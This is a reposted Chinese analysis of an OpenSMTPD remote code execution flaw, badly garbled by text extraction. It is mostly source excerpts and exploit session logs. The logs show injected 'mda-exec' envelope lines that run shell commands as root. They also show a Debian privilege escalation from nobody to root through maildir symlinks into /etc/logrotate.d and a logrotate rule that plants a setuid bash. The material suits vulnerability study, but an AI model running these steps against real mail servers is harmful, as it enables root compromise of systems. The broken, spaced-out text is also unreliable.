[15070] 2020-02-28_OpenBSDSMTP漏洞分析报告

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2020-02-28_OpenBSDSMTP漏洞分析报告 O p e n B S D   S M T P K r i s t o n   F r e e B u f   2 0 2 0 - 0 2 - 2 8 O p e n B S D   S M T P 4 l i n u x O p e n B S D 2 0 1 5 1 2 c o m m i t   8 0 c 6 a 6 0 c 1 8 5 r o o t s h e l l   2 0 1 8 5 c o m m i t   a 8 e 2 2 2 3 5 r o o t s h e l l O p e n S M T P D O p e n S M T P D O p e n B S D O p e n S M T P D O p e n S M T P D s h e l l O p e n S M T P D b o u n c e O p e n S M T P D b o u n c e O p e n S M T P D 使 O p e n S M T P D O p e n B S D   6 . 6 O p e n B S D   5 . 9 D e b i a n 1 0 D e b i a n   1 1 F e d o r a   3 1 S M T P S M T P E H L O M A I L   F R O M R C P T   T O S M T P ' - ' 2 5 0 - E N H A N C E D S T A T U S C O D E S '   ' 2 5 0   H E L P O p e n S M T P D m t a _ i o 1 0 9 8   s t a t i c   v o i d 1 0 9 9   m t a _ i o ( s t r u c t   i o   * i o ,   i n t   e v t ,   v o i d   * a r g ) 1 1 0 0   { . . . . 1 1 3 3                   c a s e   I O _ D A T A I N : 1 1 3 4                           n e x t l i n e : 1 1 3 5                                   l i n e   =   i o _ g e t l i n e ( s - > i o ,   & l e n ) ; . . . .
  ( w h e n   l i n e [ 3 ]   = =   ' - ' ) 2 K B r e p l y b u f   ( w h e n   l i n e [ 3 ]   ! =   ' - ' )   r e p l y b u f p 1 1 9 6 ' 0 ' r e p e a t b u f 1 2 0 1 1 O p e n S M T P D " x y z n s t r i n g 0 "   s t r i n g r e p e a t b u f 2 4 y z 5 y z R e p l y b u f " e r r o r l i n e " 3     f i e l d d a t a     n " e r r o r l i n e "     n O p e n S M T P D O p e n S M T P D   b o u n c e t y p e :   m d a m d a - e x e c :   s h e l l   c o m m a n d d i s p a t c h e r :   l o c a l _ m a i l m d a - u s e r :   r o o t l o c a l _ m a i l O p e n S M T P D O p e n S M T P D b o u n c e M D A M T A M e s s a g e   T r a n s f e r   A g e n t M D A M e s s a g e   D e l i v e r y   A g e n t O p e n B S D [ 1 9 2 . 1 6 8 . 5 6 . 1 ] I P . . . . 1 1 4 6                                   i f   ( ( e r r o r   =   p a r s e _ s m t p _ r e s p o n s e ( l i n e ,   l e n ,   & m s g ,   & c o n t ) ) )   { 1 1 7 7                                   i f   ( c o n t )   { 1 1 7 8                                                   i f   ( s - > r e p l y b u f [ 0 ]   = =   ' 0 ' ) 1 1 7 9                                                                   ( v o i d ) s t r l c a t ( s - > r e p l y b u f ,   l i n e ,   s i z e o f   s - > r e p l y b u f ) ; 1 1 8 0                                                   e l s e   { 1 1 8 1                                                                   l i n e   =   l i n e   +   4 ; . . . . 1 1 8 7                                                                                   ( v o i d ) s t r l c a t ( s - > r e p l y b u f ,   l i n e ,   s i z e o f   s - > r e p l y b u f ) ; 1 1 8 8                                                   } 1 1 8 9                                                   g o t o   n e x t l i n e ; 1 1 9 0                                   } 1 1 9 5                                   i f   ( s - > r e p l y b u f [ 0 ]   ! =   ' 0 ' )   { 1 1 9 6                                                   p   =   l i n e   +   4 ; . . . . 1 2 0 1                                                   i f   ( s t r l c a t ( s - > r e p l y b u f ,   p ,   s i z e o f   s - > r e p l y b u f )   > =   s i z e o f   s - > r e p l y b u f ) $   i d
O p e n B S D 1 O p e n S M T P D b o u n c e O p e n S M T P D 2 p e r m a n e n t   e r r o r b o u n c e d o u b l e   b o u n c e t e m p o r a r y e r r o r 3 O p e n S M T P D M D A b o u n c e M T A M D A 使 O p e n S M T P D M D A " 1 9 2 . 1 6 8 . 5 6 . 1 0 4 " O p e n B S D " 1 9 2 . 1 6 8 . 5 6 . 1 " r o o t @ e x a m p l e . o r g O p e n B S D $   i d u i d = 1 0 0 1 ( j o h n )   g i d = 1 0 0 1 ( j o h n )   g r o u p s = 1 0 0 1 ( j o h n ) $   e c h o   t e s t   |   / u s r / s b i n / s e n d m a i l   ' t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] ' #   . / e n t - o f - l i n e . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 3 9 4 0 4 . . . < - -   M A I L   F R O M : < j o h n @ o b s d 6 6 . e x a m p l e . o r g > - - >   5 5 3 - E r r o r - - >   5 5 3 t y p e : m d a m d a - e x e c : X = ` m k t e m p   / t m p / x . X X X X X X ` & & i d > > $ X ; e x i t   0 d i s p a t c h e r : l o c a l _ m a i l m d a - u s e r : r o o t #   c a t   / t m p / x . * u i d = 0 ( r o o t )   g i d = 0 ( w h e e l )   g r o u p s = 0 ( w h e e l ) #   . / e n t - o f - l i n e   1 9 2 . 1 6 8 . 5 6 . 1 0 4   ' t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] '   r o o t @ e x a m p l e . o r g . . . C o n n e c t e d   t o   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 2 5 . . . - - >   M A I L   F R O M : < t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] > < - -   2 5 0   2 . 0 . 0   O k - - >   R C P T   T O : < r o o t @ e x a m p l e . o r g >   N O T I F Y = S U C C E S S < - -   2 5 0   2 . 1 . 5   D e s t i n a t i o n   a d d r e s s   v a l i d :   R e c i p i e n t   o k . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 4 0 0 6 1 . . . < - -   M A I L   F R O M : < >
O p e n B S D O p e n S M T P D : " 1 9 2 . 1 6 8 . 5 6 . 1 4 1 " D e b i a n " 1 9 2 . 1 6 8 . 5 6 . 1 " r o o t @ e x a m p l e . o r g D e b i a n - - >   4 2 1 - E r r o r - - >   4 2 1 t y p e : m d a m d a - e x e c : X = ` m k t e m p   / t m p / x . X X X X X X ` & & i d > > $ X ; e x i t   0 d i s p a t c h e r : l o c a l _ m a i l m d a - u s e r : r o o t C o n n e c t e d   t o   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 2 5 . . . - - >   M A I L   F R O M : < t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] > < - -   2 5 0   2 . 0 . 0   O k - - >   R C P T   T O : < r o o t @ e x a m p l e . o r g >   N O T I F Y = S U C C E S S < - -   2 5 0   2 . 1 . 5   D e s t i n a t i o n   a d d r e s s   v a l i d :   R e c i p i e n t   o k . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 2 0 0 3 7 . . . < - -   M A I L   F R O M : < > - - >   4 2 1 - E r r o r - - >   4 2 1 t y p e : i n v a l i d #   c a t   / t m p / x . * c a t :   / t m p / x . * :   N o   s u c h   f i l e   o r   d i r e c t o r y #   r c c t l   r e s t a r t   s m t p d s m t p d ( o k ) #   c a t   / t m p / x . * u i d = 0 ( r o o t )   g i d = 0 ( w h e e l )   g r o u p s = 0 ( w h e e l ) t y p e :   m d a m d a - b u f f e r :   o u r   a r b i t r a r y   s h e l l   c o m m a n d m d a - m e t h o d :   m d a m d a - u s e r :   n o b o d y m d a - u s e r t a b l e :   < g e t p w n a m > #   . / e n t - o f - l i n e   - u   n o b o d y   1 9 2 . 1 6 8 . 5 6 . 1 4 1   ' t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] '   r o o t @ e x a m p l e . o r g . . . C o n n e c t e d   t o   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 2 5 . . . - - >   M A I L   F R O M : < t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] >
D e b i a n D e b i a n n o b o d y < - -   2 5 0   2 . 0 . 0 :   O k - - >   R C P T   T O : < r o o t @ e x a m p l e . o r g >   N O T I F Y = S U C C E S S < - -   2 5 0   2 . 1 . 5   D e s t i n a t i o n   a d d r e s s   v a l i d :   R e c i p i e n t   o k . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 3 5 3 7 8 . . . < - -   M A I L   F R O M : < > - - >   4 2 1 - E r r o r - - >   4 2 1 t y p e : m d a m d a - b u f f e r : X = ` m k t e m p   / t m p / x . X X X X X X ` & & i d > > $ X ; e x i t   0 m d a - m e t h o d : m d a m d a - u s e r : n o b o d y m d a - u s e r t a b l e : < g e t p w n a m > C o n n e c t e d   t o   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 2 5 . . . - - >   M A I L   F R O M : < t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] > < - -   2 5 0   2 . 0 . 0 :   O k - - >   R C P T   T O : < r o o t @ e x a m p l e . o r g >   N O T I F Y = S U C C E S S < - -   2 5 0   2 . 1 . 5   D e s t i n a t i o n   a d d r e s s   v a l i d :   R e c i p i e n t   o k . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 3 5 3 8 0 . . . < - -   M A I L   F R O M : < > - - >   4 2 1 - E r r o r - - >   4 2 1 t y p e : i n v a l i d #   c a t   / t m p / x . * c a t :   ' / t m p / x . * ' :   N o   s u c h   f i l e   o r   d i r e c t o r y #   s y s t e m c t l   r e s t a r t   o p e n s m t p d . s e r v i c e #   c a t   / t m p / x . * u i d = 6 5 5 3 4 ( n o b o d y )   g i d = 6 5 5 3 4 ( n o g r o u p )   g r o u p s = 6 5 5 3 4 ( n o g r o u p ) $   i d u i d = 6 5 5 3 4 ( n o b o d y )   g i d = 6 5 5 3 4 ( n o g r o u p )   g r o u p s = 6 5 5 3 4 ( n o g r o u p ) $   m k d i r   - m   0 7 0 0   / t m p / m a i l d i r $   c d   / t m p / m a i l d i r $   l n   - s   / e t c   t m p $   l n   - s   / e t c / l o g r o t a t e . d   n e w
D e b i a n O p e n S M T P D   6 . 6 . 4 p 1 O p e n B S D s y s p a t c h O p e n S M T P D * q u a l y s K r i s t o n F r e e B u f . C O M $   / u s r / s b i n / s e n d m a i l   ' t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] '   < <   ' E O F ' / v a r / l o g / l a s t l o g   {         m i s s i n g o k         r o t a t e   1         n o m a i l         s i z e   1         c o p y         f i r s t a c t i o n                 c p   - f   / b i n / b a s h   / v a r / l o g   & &   c h m o d   0 4 5 5 5   / v a r / l o g / b a s h         e n d s c r i p t } E O F #   . / e n t - o f - l i n e   - m   / t m p / m a i l d i r . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 3 5 3 8 2 . . . < - -   M A I L   F R O M : < n o b o d y @ d e b i a n > - - >   5 5 3 - E r r o r - - >   5 5 3 t y p e : m d a m d a - b u f f e r : / t m p / m a i l d i r m d a - m e t h o d : m a i l d i r m d a - u s e r : r o o t m d a - u s e r t a b l e : < g e t p w n a m > $   i d u i d = 6 5 5 3 4 ( n o b o d y )   g i d = 6 5 5 3 4 ( n o g r o u p )   g r o u p s = 6 5 5 3 4 ( n o g r o u p ) $   / v a r / l o g / b a s h   - p #   i d u i d = 6 5 5 3 4 ( n o b o d y )   g i d = 6 5 5 3 4 ( n o g r o u p )   e u i d = 0 ( r o o t )   g r o u p s = 6 5 5 3 4 ( n o g r o u p )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则